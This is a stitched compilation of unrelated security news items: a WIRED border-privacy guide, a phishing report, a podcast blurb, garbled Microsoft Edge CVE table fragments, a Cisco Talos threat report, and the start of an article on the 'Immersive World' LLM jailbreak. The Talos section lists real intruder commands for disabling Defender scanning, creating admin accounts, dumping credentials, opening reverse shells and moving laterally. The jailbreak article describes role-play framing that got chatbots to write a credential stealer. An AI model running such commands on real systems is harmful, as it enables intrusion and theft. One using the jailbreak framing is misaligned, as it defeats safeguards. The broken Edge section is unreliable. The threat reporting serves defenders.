Crossing into the United States has become increasingly dangerous for digital privacy. Here are a few steps you can take to minimize the risk of Customs and Border Protection accessing your data.

If you buy something using links in our stories, we may earn a commission. This helps support our journalism. Learn more. Please also consider subscribing to WIRED

When Ryan Lackey has traveled to countries like Russia or China, he has taken certain precautions: Instead of his usual gear, the Seattle-based security researcher and chief security officer of a cryptocurrency insurance firm brings a locked-down Chromebook and an iPhone that's set up to sync with a separate, nonsensitive Apple account. He wipes both before every trip and loads only the minimum data he'll need. Lackey has gone so far as to keep separate travel sets for each country, so that he can forensically analyze the devices when he gets home to check for signs of each country's tampering.

Now, Lackey says, the countries that warrant that paranoid approach to travel might include not just Russia and China but also the United States—if not for Americans like him, then for anyone with a foreign passport who might come under the increasingly draconian and unpredictable scrutiny of US Customs and Border Protection (CBP). "All of this applies to America more than it has in the past," says Lackey. "If I thought I were likely to be a targeted person, I would go through this same level of protection."

Since the start of the second Trump administration, there appears to be an uptick in foreign visitors to the US being denied entry, resulting in people being sent back to their original destinations or being held in detention. Citizens from Germany, the UK, and France have all reported being detained, in some cases for weeks, or denied entry when attempting to enter the US—including several individuals who say they are legal residents with Green Cards. France’s education minister said one French scientist was denied entry after immigration officials searched his phone and found conversations where “he expressed a personal opinion on the Trump administration’s research policy.” The stricter enforcement of visa and travel permit regulations has led to officials in Germany and Britain to change their travel guidance, with Britain warning that rules are enforced “strictly.”

That de facto border crackdown is set to become far more explicit if the Trump administration follows through on a plan to enact a new “travel ban” on more than 40 countries, which would reportedly bar entry entirely from at least 10 nations and subject visitors from another five to new scrutiny and automatic interviews at the border. Another 26 countries would fall into a third category where their status will be decided in the 60 days after the policy goes into effect.

All of these changes suggest that US borders are about to become far less friendly places to foreigners and even to Americans returning from abroad. And these new border enforcement measures will no doubt be accompanied by aggressive attempts at surveillance extending to travellers’ electronic devices—a threat to digital privacy and free expression that extends to foreigners and US residents alike.

“We’re seeing extraordinarily disturbing examples of retaliatory action based on people's speech and political opinions,” says Nathan Wessler, the deputy director of the American Civil Liberties Union’s Speech, Privacy, and Technology Project. “When that’s combined with really sweeping authority to mine the contents of our phones and laptops, looking at things we've written, things people have sent us, it should be a particular cause for concern for people across the political spectrum—and people with all kinds of citizenship and immigration statuses.”

In fact, Customs and Border Protection has long considered US borders and airports a kind of loophole in the US Constitution's Fourth Amendment protections, one that allows them wide latitude to detain travelers and search their devices. For years, the agency has used that opportunity to hold border-crossers on the slightest suspicion and demand access to their computers and phones, with little formal cause or oversight.

Citizens are far from immune. CBP detainees from journalists to filmmakers to security researchers have all had their devices taken out of their hands by agents.

As those intrusions become more common and aggressive in the second Trump era, WIRED has assembled the following advice from legal and security experts to help preserve your digital privacy while crossing American borders. But take all of these strategies with caution: Given CBP’s unpredictable—and in many areas undocumented—practices, none of the experts WIRED spoke to claimed to have a privacy panacea for the American border.

_This article was first published in February 2017 and updated in March 2025 to reflect changes in technology and the second Trump administration. WIRED’s guide to protecting yourself against government surveillance includes more security and privacy advice._

**Phone Home**

First, if you have any reason to think you could be detained or questioned at the border, alert a lawyer or a loved one who can contact a lawyer _before_ going through customs, and contact them again when you get out. If you are detained, you may not be able to access your devices or otherwise have the opportunity to reach the outside world. And in the worst-case scenario of a lengthy detention, you'll want someone advocating for your release and legal representation.

**Lock Down Devices**

If customs officials do take your devices, don't make their intrusion easy. Encrypt your hard drive with tools like BitLocker, Veracrypt, or Apple's Filevault, and choose a strong passphrase. On your phone, set a strong PIN. Using hard-to-crack alphanumeric code to unlock your phone rather than a four digit PIN or biometrics is the strongest approach to securing the device. On an iPhone, disable Siri from the lock screen by switching off **Allow Siri When Locked** under the **Siri men**u in **Settings**.

Remember also to turn your devices off before entering customs: Hard-drive encryption tools offer full protection only when a computer is fully powered down. If you use FaceID, your iPhone is safest when it's turned off, too, since it requires a PIN rather than a face scan when first booted, resolving any ambiguity about whether border officials can compel you to unlock the device with your biometrics.

In recent years, Apple and Google have made it possible to separate sensitive apps from being shown with others on your phone—placing them in a separate folder from other apps and protecting them with another layer of authentication. Android’s Private Spaces can be turned on in the Security and privacy settings menu, while long pressing an app on iOS will bring up the option to place it in a hidden folder.

Finally, Wessler recommends that travelers be sure to update their operating systems on both laptops and phones before crossing the border. That’s because CBP could, in some cases, use tools like Cellebrite or GrayKey to exploit unpatched vulnerabilities in those devices, accessing them without the user unlocking them. “It may be that if your operating system is six months out of date, your device is vulnerable,” Wessler says. “The newest version may not be.”

**Keep Passwords Secret**

This is the tricky part. American citizens can't be deported for refusing to give up passwords for social media accounts or encrypted devices, says the ACLU's Wessler. That means if you stand your ground and don't reveal passwords or PINs, you may be detained and your devices confiscated—even sent off to a forensic facility—but you'll eventually get through with your privacy far more intact than if you divulge secrets. "They can seize your device, even for months while they try to break into it," says Wessler. "But you’re going to get home." (Despite the Trump administration’s shocking treatment in some cases of foreign permanent residents, this protection applies to green card holders too, Wessler says.)

Be warned, however, that denying customs officials access can at the very least lead to hours of uncertain detention in a bleak, windowless CBP office. At some US airports and in various states, court rulings have put limitations and restrictions on what CBP officials can do to access your devices, but there’s little guarantee those restrictions will be followed in practice if border agents have your computer or phone in their custody without oversight.

Broadly, the CBP outlines two types of device searches: basic, where an officer “manually” reviews a device’s content; and an advanced search where a device is connected to external equipment and its contents can be reviewed, copied, or analyzed. The latter search requires a “reasonable suspicion” of a crime, CBP says. The agency’s official guidance avoids explicitly saying people are required to hand over passwords, skirting around the issue by saying devices should be presented “in a condition that allows for the examination.”

“If the electronic device cannot be inspected because it is protected by a passcode or encryption or other security mechanism, that device may be subject to exclusion, detention, or other appropriate action or disposition,” the agency says online.

For non-Americans coming to the US on a visa or from a visa-waiver country, Wessler warns that they face a far starker dilemma: Refuse to give up a passcode or PIN and you may be denied entry. “There’s a very practical assessment people have to make about what's most important to them,” he says. “Getting into the country but sacrificing privacy or protecting your privacy—but risking that you may be turned around at the border.”

**Minimize the Data You Carry**

For the most vulnerable travelers, there’s one clear solution to that dilemma: The best way to keep customs away from your data is simply not to travel with it. Instead, like Lackey, set up travel devices that store the minimum of sensitive data. Don't link those "dirty" devices to your personal accounts, and when you do have to create a linked account—as with an Apple ID for iOS devices—create fresh ones with unique usernames and passwords. "If they ask for access and you can’t refuse, you want to be able to give them access without losing any sensitive information," says Lackey.

(Social media accounts, admittedly, can't be so easily ditched. Some security experts recommend creating secondary personas that can be offered up to customs officials while keeping a more sensitive account secret. But if CBP agents do link your identity with an account you tried to hide, the result could be longer detention and, for noncitizens, even denial of entry.)

If you can’t create a separate travel device, the Electronic Frontier Foundation also suggests logging out of apps and cloud services—such as Google Drive, or MicrosoftOne Drive—so that border agents can’t access documents or data you are storing remotely. Backing up data, such as photos or files, to the cloud services before you travel can help to remove data from the phone.

“The only sure way to protect yourself is to not carry information with you or to carry as little as possible,” says the ACLU’s Wessler. “As long as you have a device and there's stuff on it, that's potentially vulnerable to search.”

That vulnerability to search comes in part from the fact that privacy rights for digital devices at the border remains troublingly unsettled in US law, says UC Davis law professor Elizabeth Joh. While the Supreme Court decision in _Riley v. California_ in 2014 declared warrantless searches of devices at the time of arrest unconstitutional, no case has set such a precedent for the American border—much less for non-Americans seeking those same privacy rights.

Since 2014, several federal appeals courts have come to conflicting opinions about when it’s constitutional for customs and border agents to search electronic devices, but the Supreme Court has yet to weigh in. Until it does, the border zone will remain in a kind of legal limbo.

The government, after all, has the power to open bags crossing into its territory or even dismantle cars to search for contraband, Joh points out. "What does that mean in an age when people bring their digital devices across borders? The Supreme Court hasn’t spoken to that issue," Joh says. "The real problem here is there's still no good set of protections for a portal into your private life."

How to Enter the US With Your Digital Privacy Intact

LayerX Labs reports a sophisticated macOS phishing campaign, evading security measures. Learn how attackers adapt and steal credentials from Mac users.

A recent report by LayerX Labs has revealed a new phishing campaign that was initially designed to deceive Windows users but lately focused on targeting macOS users.

The campaign, which LayerX Labs monitored for several months, originally posed as Microsoft security alerts, aiming to steal user credentials. In the attack, attackers employed deceptive tactics, creating fake security warnings on hacked websites that claimed the user’s computer was “compromised” and “locked.” Victims were encouraged to enter their Windows username and password, while malicious code froze the webpage, mimicking a complete system lockdown.

According to LayerX’s analysis, shared with Hackread.com, several factors contributed to the campaign’s initial effectiveness. Firstly, the phishing pages were hosted on Microsoft’s Windows.net platform, making the fake security warnings appear legitimate.

Also, attackers utilized trusted hosting services, exploiting the fact that traditional anti-phishing defences often rely on top-level domain reputation. Furthermore, they employed randomized, rapidly changing subdomains, making it difficult for security tools to track and block the malicious pages, which themselves were professionally designed, and frequently updated to evade detection. Some even incorporated anti-bot and CAPTCHA technologies to hinder automated web crawlers. 

When Microsoft, along with Chrome and Firefox, introduced new anti-scareware features in early 2025, a dramatic 90% drop in Windows-targeted attacks was noticed. In response, the attackers adapted their strategy, shifting their focus to macOS users, unprotected by these new defences.

Within two weeks, LayerX Labs observed a surge in Mac-based attacks, much similar to the Windows-targeted ones but with slight code adjustments aiming to specifically target macOS and Safari users. Victims were lured to the phishing pages via compromised domain “parking” pages, often after making a typo in a URL.

In one instance, a macOS and Safari user from a LayerX enterprise customer was targeted. Although the organization employed a Secure Web Gateway, the attack bypassed it. However, LayerX’s AI-based detection system, which analyzes web pages using numerous parameters at the browser level, successfully blocked the attack.

Screenshot shows the phishing scam targeting both Windows and macOS users (Credit: LayerX Labs)

This campaign highlights the increasing sophistication of phishing attacks targeting macOS users. Menlo Security’s recent State of Browser Security report further highlights this trend, revealing a dramatic increase in browser-based attacks, especially since the popularity of generative AI.

The report found a whopping 140% increase in browser-based phishing attacks compared to 2023, with a 130% increase specifically in zero-hour phishing attacks and the impersonation of major brands like Facebook, Microsoft, and Netflix.  

Menlo Security’s analysis of over 752,000 browser-based phishing attacks reveals that one in five attacks now employs evasive techniques to bypass traditional security measures.

Thomas Richards, Principal Consultant, Network and Red Team Practice Director at Black Duck, a Burlington, Massachusetts-based provider of application security solutions, commented on the latest development stating, “In the past few weeks, we’ve seen an uptick in browser-based phishing attacks that use legitimate hosting services to trick users into falling for the attack and the ruse they use is a fairly old one and quite common.”

“If you ever get an unknown random pop-up saying your computer is compromised, it should be treated as suspicious and ignored,” Thomas warned. “Anti-virus services will never ask you to enter a username and password to remove a threat.”

New Phishing Campaign Targets macOS Users with Fake Security Alerts

This week on the Lock and Code podcast, we speak with Carey Parker about what Google Chrome knows about you.

_This week on the Lock and Code podcast…_

Google Chrome is, by far, the most popular web browser in the world.

According to several metrics, Chrome accounts for anywhere between 52% and 66% of the current global market share for web browser use. At that higher estimate, that means that, if the 5.5 billion internet users around the world were to open up a web browser right now, 3.6 billion of them would open up Google Chrome.

And because the browser is the most common portal to our daily universe of online activity—searching for answers to questions, looking up recipes, applying for jobs, posting on forums, accessing cloud applications, reading the news, comparing prices, recording Lock and Code, buying concert tickets, signing up for newsletters—then the company that controls that browser likely knows a lot about its users.

In the case of Google Chrome, that’s entirely true.

Google Chrome knows the websites you visit, the searches you make (through Google), the links you click, and the device model you use, along with the version of Chrome you run. That may sound benign, but when collected over long periods of time, and when coupled with the mountains of data that other Google products collect about you, this wealth of data can paint a deeply intimate portrait of your life.

Today, on the Lock and Code podcast with host David Ruiz, we speak with author, podcast host, and privacy advocate Carey Parker about what Google Chrome knows about you, why that data is sensitive, what “Incognito mode” really does, and what you can do in response.

We also explain exactly why Google would want this money, and that’s to help it run as an ad company.

> “That’s what \[Google is\]. Full stop. Google is an ad company who just happens to make a web browser, and a search engine, and an email app, and a whole lot more than that.”

Tune in today to listen to the full conversation.

_Show notes and credits:_

Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)  
Licensed under Creative Commons: By Attribution 4.0 License  
http://creativecommons.org/licenses/by/4.0/  
Outro Music: “Good God” by Wowa (unminus.com)

**Listen up—Malwarebytes doesn’t just talk cybersecurity, we provide it.**

Protect yourself from online attacks that threaten your identity, your files, your system, and your financial well-being with our exclusive offer for Malwarebytes Premium for Lock and Code listeners.

 What Google Chrome knows about you, with Carey Parker (Lock and Code S06E06) 

**What is the version information for this release?**

Microsoft Edge Version

Date Released

Based on Chromium Version

134.0.3124.83

3/21/2025

134.0.6998.117/.118

CVE-2025-2476: Chromium: CVE-2025-2476 Use after free in Lens

**What is the version information for this release?**

Microsoft Edge Channel

Microsoft Edge Version

Based on Chromium Version

Date Released

Stable

CVE-2024-8904,

129.0.6668.58/.59

9/19/2024

CVE-2025-29806: Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability

Improper link resolution before file access ('link following') in Microsoft Edge (Chromium-based) allows an authorized attacker to elevate privileges locally.

CVE-2025-29795: Microsoft Edge (Chromium-based) Update Elevation of Privilege Vulnerability

UAT-5918, a threat actor believed to be motivated by establishing long-term access for information theft, uses a combination of web shells and open-sourced tooling to conduct post-compromise activities to establish persistence in victim environments for information theft and credential harvesting.

By Jung soo An, Asheer Malhotra, Brandon White, and Vitor Ventura.

*   Cisco Talos discovered a malicious campaign we track under the UAT-5918 umbrella that has been active since at least 2023. 
*   UAT-5918, a threat actor believed to be motivated by establishing long-term access for information theft, uses a combination of web shells and open-sourced tooling to conduct post-compromise activities to establish persistence in victim environments for information theft and credential harvesting. 
*   We assess that UAT-5918's post-compromise activity, tactics, techniques, and procedures (TTPs), and victimology overlaps the most with Volt Typhoon, Flax Typhoon, Earth Estries, and Dalbit intrusions we’ve observed in the past.

**UAT-5918’s activity cluster****Overview **

Talos assesses with high confidence that UAT-5918 is an advanced persistent threat (APT) group that targets entities in Taiwan to establish long-term persistent access in victim environments. UAT-5918 usually obtains initial access by exploiting N-day vulnerabilities in unpatched web and application servers exposed to the internet. The threat actor will subsequently use a plethora of open-source tools for network reconnaissance to move through the compromised enterprise. 

The activity that we monitored suggests that the post-compromise activity is done manually with the main goal being information theft. Evidently, it also includes deployment of web shells across any discovered sub-domains and internet-accessible servers to open multiple points of entry to the victim organizations. UAT-5918's intrusions harvest credentials to obtain local and domain level user credentials and the creation of new administrative user accounts to facilitate additional channels of access, such as RDP to endpoints of significance to the threat actor.

Typical tooling used by UAT-5918 includes networking tools such as FRPC, FScan, In-Swor, Earthworm, and Neo-reGeorg. Credential harvesting is accomplished by dumping registry hives, NTDS, and using tools such as Mimikatz and browser credential extractors. These credentials are then used to perform lateral movement via either RDP, WMIC (PowerShell remoting), or Impacket. 

**UAT-5918 activity cluster overlapping **

UAT-5918's tooling and TTPs overlap substantially with several APT groups including Volt Typhoon, Flax Typhoon and Dalbit. 

Figure 1. UAT-5918 TTPs and tooling overlaps with similar APT groups.

There is a significant overlap in post-compromise tooling and TTPs with Volt Typhoon, such as using ping and tools like In-Swor for network discovery; gathering system information such as drive and partition; gathering logical drive information such as names, IDs, size, and free spaces; credential dumping from web browser applications; using open-source tools such as frp, Earthworm, and Impacket for establishing control channels; and the absence of custom-made malware. The U.S. government assesses that Volt Typhoon is a PRC state-sponsored actor conducting cyberattacks against U.S. critical infrastructure. 

Multiple tools used in this intrusion also overlap with tooling used by Flax Typhoon in the past, such as the Chopper web shell, Mimikatz, JuicyPotato, Metasploit, WMIC and PowerShell, along with the use of tactics such as relying on RDP and other web shells to persist in the enterprise and WMIC for gathering system information. The U.S. government attributes Flax Typhoon, a Chinese government-sponsored threat actor, to the Integrity Technology Group, a PRC-based company.

Additionally, tooling such as FRP, FScan, In-Swor, and Neo-reGeorg, as well as filepaths and names used by UAT-5918, overlap with those used by Tropic Trooper. Tropic Trooper’s malware suite, specifically Crowdoor Loader and SparrowDoor, overlap with the threat actors known as Famous Sparrow and Earth Estries. We have also observed overlaps in tooling and tactics used in this campaign operated by UAT-5918 and in operations conducted by Earth Estries, including the use of FRP, FScan, Webshells, Impacket, living-off-the-land binaries (LoLBins), etc. Furthermore, we’ve discovered similar tooling between UAT-5918 and Dalbit consisting of port scanners, proxying tools, reverse shells, and reconnaissance TTPs.

It is worth noting that a sub-set of tools UAT-5918 uses such as LaZagne, SNetCracker, PortBrute, NetSpy etc., have not been seen being used by the aforementioned threat actors in public reporting. It is highly likely that this tooling might be exclusively used by UAT-5918 or their usage by other related groups may have been omitted in publicly available disclosures. 

**Victimology and targeted verticals **

UAT-5918 also overlaps with the previously mentioned APT groups in terms of targeted geographies and industry verticals, indicating that this threat actor’s operations align with the strategic goals of the aforementioned set of threat actors. 

We have primarily observed targeting of entities in Taiwan by UAT-5918 in industry verticals such as telecommunications, healthcare, information technology, and other critical infrastructure sectors. Similar verticals and geographies have also been targeted by APT groups such as Volt Typhoon, Flax Typhoon, Earth Estries, Tropic Trooper, and Dalbit. 

**Initial access and reconnaissance **

UAT-5918 typically gains initial access to their victims via exploitation of known vulnerabilities on unpatched servers exposed to the internet. Activity following a successful compromise consists of preliminary reconnaissance to identify users, domains, and gather system information. Typical commands executed on endpoints include: 

ping <IP> 
net user 
systeminfo 
arp –a 
route print 
tasklist 
tasklist -v 
netstat -ano 
whoami 
ipconfig 
query user 
cmd /c dir c:\\users\\<username>\\Desktop 
cmd /c dir c:\\users\\<username>\\Documents 
cmd /c dir c:\\users\\<username>\\Downloads 

 Initial credential reconnaissance is carried out using the cmdkey command: 

cmdkey /list 

The threat actor then proceeds to download and place publicly available red-teaming tools (illustrated in subsequent sections) on endpoints to carry out further actions. In some cases, UAT-5918 also disabled Microsoft Defender’s scanning of their working directories on disk: 

powershell.exe -exec bypass Add-MpPreference -ExclusionPath <working\_directory> 
powershell Get-MpPreference 

**Post-compromise tooling **

UAT-5918's post-compromise tooling consists of web shells, some of which are publicly available, such as the Chopper web shell, multiple red-teaming and network scanning tools, and credentials harvesters.

**Reverse proxies and tunnels **

The actor uses FRP and Neo-reGeorge to establish reverse proxy tunnels for accessing compromised endpoints via attacker controlled remote hosts. The tools are usually downloaded as archives and extracted before execution:

The Earthworm (ew) tool for establishing proxies is also run: 

**Port scanning **

FScan is a port and vulnerability scanning tool that can scan ranges of IP addresses and Ports specified by the attackers:

Talos has observed the actor scanning of these ports in particular: 

 21 22 80 81 83 91 135 443 445 888 808 889 5432 8000 8080 54577 11211

The threat actor also relies extensively on the use of In-Swor, a publicly available tool authored and documented by Chinese speaking individuals, for conducting port scans across ranges of IP addresses. A sample command of In-Swor's use is: 

Run\[.\]exe -h <ip\_range>/24 -nopoc -pwdf pw\[.\]txt -p 1521,6379 -t 4 

In-Swor was used to scan for the following ports across IP address ranges: 

22		SSH 
80		HTTP 
135		RPC 
445		SMB 
1433		SQL server 
1521		Oracle DBs 
3306		MySQL 
3389		RDP 
4194 		Kubernetes? 
5432 		PostgreSQL 
5900 		VNC 
6379 		Redis 
10248 	    ? 
10250 	    Kubernetes 
10255 	    MongoDB 

In other instances, In-Swor was used to establish proxy channels:

svchost\[.\]exe proxy -l \*:22 -k 9999   
svchost\[.\]exe proxy -l \*:443 -k 9999   
svchost\[.\]exe proxy -hc -l \*:443 -k 99997654    
svchost\[.\]exe -hc proxy -l \*:443 -k 99997654    
svchost\[.\]exe proxy -l 443 –v 

 svchost\[.\]exe -type server -proto tcp -listen :443    
svchost\[.\]exe -type server -proto http -listen :443    
svchost\[.\]exe -type server -proto rhttp -listen :443 

In addition to FScan, PortBrute, another password brute forcer for multiple protocols such as FTP, SSH, SMB, MYSQL, MONGODB, etc., was also downloaded and used:

PortBruteWin(5).exe -up <username>:<password> 

**Additional network reconnaissance **

The threat actor uses two utilities for monitoring the current connection to the compromised hosts — NirSoft's CurrPorts utility and TCPView. Both tools are likely used to perform additional network discovery to find accessible hosts to pivot to: 

C:\\Users\\<compromised\_user>\\Desktop\\cports-x64/cports.exe   
C:\\Users\\<compromised\_user>\\Desktop\\TCPView\\tcpview64.exe 

The threat actor also uses PowerShell-based scripts to attempt SMB logins to specific endpoints already identified by them:

powershell\[.\]exe -file C:\\ProgramData\\smblogin-extra-mini.ps1 

Netspy, another tool authored and documented by Chinese speaking individuals, is a network segmentation discovery tool that UAT-5918 employs occasionally for discovery. The fact that the operator had to check the tool help denotes the lack of automation and the unusual usage of such tool:

netspy\[.\]exe -h 

**Gathering local system information **

The attackers may also gather commands to profile the endpoint and its drives:

wmic diskdrive get partitions /value    
fsutil fsinfo drives    
wmic logicaldisk get DeviceID,VolumeName,Size,FreeSpace    
wmic logicaldisk get DeviceID,VolumeName,Size,FreeSpace /format:value 

**Maintaining persistent access to victims **

The threat actor attempts to deploy multiple web shells on systems they find are hosting web applications. The web shells are typically ASP or PHP-based files placed deep inside housekeeping directories such as image directories, user files etc. 

The threat actor uses JuicyPotato’s (a privilege escalation tool) web shell variant that allows JuicyPotato to act as a web shell on the compromised system accepting commands from remote systems to execute:

JuicyPotato is then run to spawn cmd\[.\]exe to run a reverse shell that allows the threat actor to run arbitrary commands: 

Run.exe -t t -p c:\\windows\\system32\\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 

UAT-5918 will also use PuTTY’s pscp tool to connect to and deliver additional web shells to accessible endpoints (likely servers) within the network:

pscp\[.\]exe <web\_shell> <user>@<IP>:/var/www/html/<web\_shell> 

Furthermore, Talos has observed UAT-5918 execute reverse Meterpreter shells to maintain persistent access to the compromised hosts:

C:\\ProgramData\\bind.exe 

C:\\ProgramData\\microbind.exe 

C:\\ProgramData\\reverse.exe 

cmd /c C:/ProgramData/microbind.exe 

**Backdoored user account creation **

UAT-5918 regularly creates and assigns administrative privileges to user accounts they’ve created on compromised endpoints: 

net user <victimname\_username> <password> /add   
net localgroup administrators <username> /add   
net group domain admins <username> /add /domain 

Credential harvesting is a key tactic in UAT-5918 intrusions, instrumented via the use of tools such as Mimikatz, LaZagne, and browser credential stealers: 

**Mimikatz**: A commonly used credential extractor tool is run to obtain credentials from the endpoint:

**LaZagne**: LaZagne is an open-sourced credential extractor: 

C:/ProgramData/LaZagne.exe   
C:/ProgramData/LaZagne.exe -all >> laz.txt 

**Registry dumps**: The “reg” system command is used to take dumps of the SAM, SECURITY and SYSTEM hives:

**Google Chrome information**: The adversary also uses a tool called BrowserDataLite, a tool to extract Login information, cookies, and browsing history from web browsers. The extracted information is subsequently accessed via notepad\[.\]exe: 

BrowserDataLite\_x64.exe 

 C:\\Windows\\system32\\NOTEPAD.EXE Chrome\_LoginPass.txt   
C:\\Windows\\system32\\NOTEPAD.EXE Chrome\_Cookies.txt   
C:\\Windows\\system32\\NOTEPAD.EXE Chrome\_History.txt 

**SNETCracker**: A .NET-based password cracker (brute forcer) for services such as SSH, RDP, FTP, MySQL, SMPT, Telnet, VNC, etc.: 

Finding strings related to credentials such as: 

findstr /s /i /n /d:C:\\ password \*.conf 

**Pivoting to additional endpoints **

UAT-5918 consistently attempts to gain access to additional endpoints within the enterprise. They will perform network reconnaissance cyclically to discover new endpoints worth pivoting to and make attempts to gain access via RDP or Impacket: 

mstsc.exe -v <hostname> 

Impacket was also used on multiple occasions to pivot into additional endpoints and copy over tools: 

python wmiexec\[.\]py Administrator:<password>@<IP> -codec big5 1> \[\\\]\[\\\]127\[.\]0\[.\]0\[.\]1\\ADMIN$\\\_\_<timestamp> 2>&1 

 cmd\[.\]exe /Q /c echo python wmiexec\[.\]py Administrator:<password>@<IP> -codec big5 ^> \\\\<hostname>\\C$\\\_\_output 2^>^&1 > C:\\Windows\\jFcZpIUm\[.\]bat & C:\\Windows\\system32\\cmd\[.\]exe /Q /c C:\\Windows\\jFcZpIUm\[.\]bat & del C:\\Windows\\jFcZpIUm\[.\]bat 

 cmd\[.\]exe /Q /c net use \[\\\]\[\\\]<IP>\\c$ /user:<username> 1> \[\\\]\[\\\]127\[.\]0\[.\]0\[.\]1\\<share>\_\_ 2>&1   
cmd\[.\]exe /Q /c dir \[\\\]\\\[\\\]<IP>\\c$ 1> \[\\\]\[\\\]127\[.\]0\[.\]0\[.\]1\\<share>\_\_ 2>&1    
cmd\[.\]exe /Q /c copy fscan64\[.\]exe \[\\\]\[\\\]<IP>\\c$\\ 1> \[\\\]\[\\\]127\[.\]0\[.\]0\[.\]1\\<share>\_\_ 2>&1    
cmd\[.\]exe /Q /c copy \[\\\]\[\\\]<IP>\\c$\\<scan\_result>.txt 1> \[\\\]\[\\\]127\[.\]0\[.\]0\[.\]1\\<share>\_\_ 2>&1    
cmd\[.\]exe /Q /c copy fscan\[.\]exe \[\\\]\[\\\]<IP>\\c$\\ 1> \[\\\]\[\\\]127\[.\]0\[.\]0\[.\]1\\<share>\_\_ 2>&1    
cmd\[.\]exe /Q /c copy mimikatz\[.\]exe \[\\\]\[\\\]<IP>\\c$ 1> \[\\\]\[\\\]127\[.\]0\[.\]0\[.\]1\\<share>\_\_ 2>&1 

**File collection and staging **

UAT-5918 pivots across endpoints enumerating local and shared drives to find data of interest to the threat actor. This data may include everything that furthers the APT’s strategic and tactical goals and ranges from confidential documents, DB exports and backups to application configuration files. In one instance, the threat actor used the SQLCMD\[.\]exe utility to create a database backup that could be exfiltrated: 

C:/ProgramData/SQLCMD.EXE -S <target\_server\_DB> -U <username> -P <password> -Q BACKUP DATABASE <NAME> to disk='<db\_backup\_location>.bak' 

**Coverage **

Ways our customers can detect and block this threat are listed below. 

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Cisco Secure Access is a modern cloud-delivered Security Service Edge (SSE) built on Zero Trust principles. Secure Access provides seamless transparent and secure access to the internet, cloud services or private application no matter where your users work. Please contact your Cisco account representative or authorized partner if you are interested in a free trial of Cisco Secure Access.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

**IOCs **

IOCs for this research can also be found at our GitHub repository here. 

6F6F7AA6144A1CFE61AC0A80DB7AD712440BDC5730644E05794876EB8B6A41B4 
BAB01D029556CF6290F6F21FEC5932E13399F93C5FDBCFFD3831006745F0EB83 
F7F6D0AFB300B57C32853D49FF50650F5D1DC7CF8111AA32FF658783C038BFE5 
497A326C6C207C1FB49E4DAD81D051FCF6BCBE047E0D3FE757C298EF8FE99ABA 
F9EB34C34E4A91630F265F12569F70B83FEBA039C861D6BF906B74E7FB308648 
DD832C8E30ED50383495D370836688EE48E95334270CBBCE41109594CB0C9FD1 
F7B52EE613F8D4E55A69F0B93AA9AA5472E453B0C458C8390DB963FF8B0B769C 
B994CBC1B5C905A2B731E47B30718C684521E8EC6AFB601AFECF30EF573E5153 
12D4EFE2B21B5053A3A21B49F25A6A4797DC6E9A80D511F29CA67039BA361F63 
2272925B1E83C7C3AB24BDEB82CE727DB84F5268C70744345CDA41B452C49E84 
71EB5115E8C47FFF1AB0E7ACEBAEA7780223683259A2BB1B8DB1EB3F26878CA4 
E159824448A8E53425B38BD11030AA786C460F956C9D7FC118B212E8CED4087A 
7EF22BFB6B2B2D23FE026BDFD7D2304427B6B62C6F9643EFEDDB4820EBF865AF 
EFC0D2C1E05E106C5C36160E17619A494676DEB136FB877C6D26F3ADF75A5777 
B7690c0fc9ec32e1a54663a2e5581e6260fe9318a565a475ee8a56c0638f38d0 
A774244ea5d759c4044aea75128a977e45fd6d1bb5942d9a8a1c5d7bff7e3db9 
31742ab79932af3649189b9287730384215a8dccdf21db50de320da7b3e16bb4 
09cea8aed5c58c446e6ef4d9bb83f7b5d7ba7b7c89d4164f397d378832722b69 
D47e35baee57eb692065a2295e3e9de40e4c57dba72cb39f9acb9f564c33b421 
1753fa34babeeee3b20093b72987b7f5e257270f86787c81a556790cb322c747 
F4ea99dc41cb7922d01955eef9303ec3a24b88c3318138855346de1e830ed09e 
5b0f8c650f54f17d002c01dcc74713a40eccb0367357d3f86490e9d17fcd71e8 
3588bda890ebf6138a82ae2e4f3cd7234ec071f343c9f5db5a96a54734eeaf9f 
95eee44482b4226efe3739bed3fa6ce7ae7db407c1e82e988f27cd27a31b56a6 
02ab315e4e3cf71c1632c91d4914c21b9f6e0b9aa0263f2400d6381aab759a61 
D1825cd7a985307c8585d88d247922c3a51835f9338dc76c10cdbad859900a03 
234899dea0a0e91c67c7172204de3a92a4cbeef37cdc10f563bf78343234ad1d 
8d440c5f0eca705c6d27aa4883c9cc4f8711de30fea32342d44a286b362efa9a 
Ffb8db57b543ba8a5086640a0b59a5def4929ad261e9f3624b2c0a22ae380391

UAT-5918 targets critical infrastructure entities in Taiwan

New Immersive World LLM jailbreak lets anyone create malware with GenAI. Discover how Cato Networks researchers tricked ChatGPT, Copilot, and DeepSeek into coding infostealers - In this case, a Chrome infostealer.

Cato Networks, a Secure Access Service Edge (SASE) solution provider, has released its 2025 Cato CTRL Threat Report, revealing an important development. According to researchers, they have successfully designed a technique that allows individuals with no **prior coding experience** to create malware using readily available generative AI (GenAI) tools.

****LLM Jailbreak Created Functioning Chrome Infostealer via “Immersive World”****

The core of their research is a novel Large Language Model (LLM) jailbreak technique, dubbed “Immersive World,” developed by a Cato CTRL threat intelligence researcher. The technique involves creating a detailed fictional narrative where GenAI tools, including popular platforms like DeepSeek, Microsoft Copilot, and OpenAI’s ChatGPT, are assigned specific roles and tasks within a controlled environment.

By effectively bypassing the default security controls of these AI tools through this narrative manipulation, the researcher was able to force them into generating functional malware capable of stealing login credentials from **Google Chrome**.

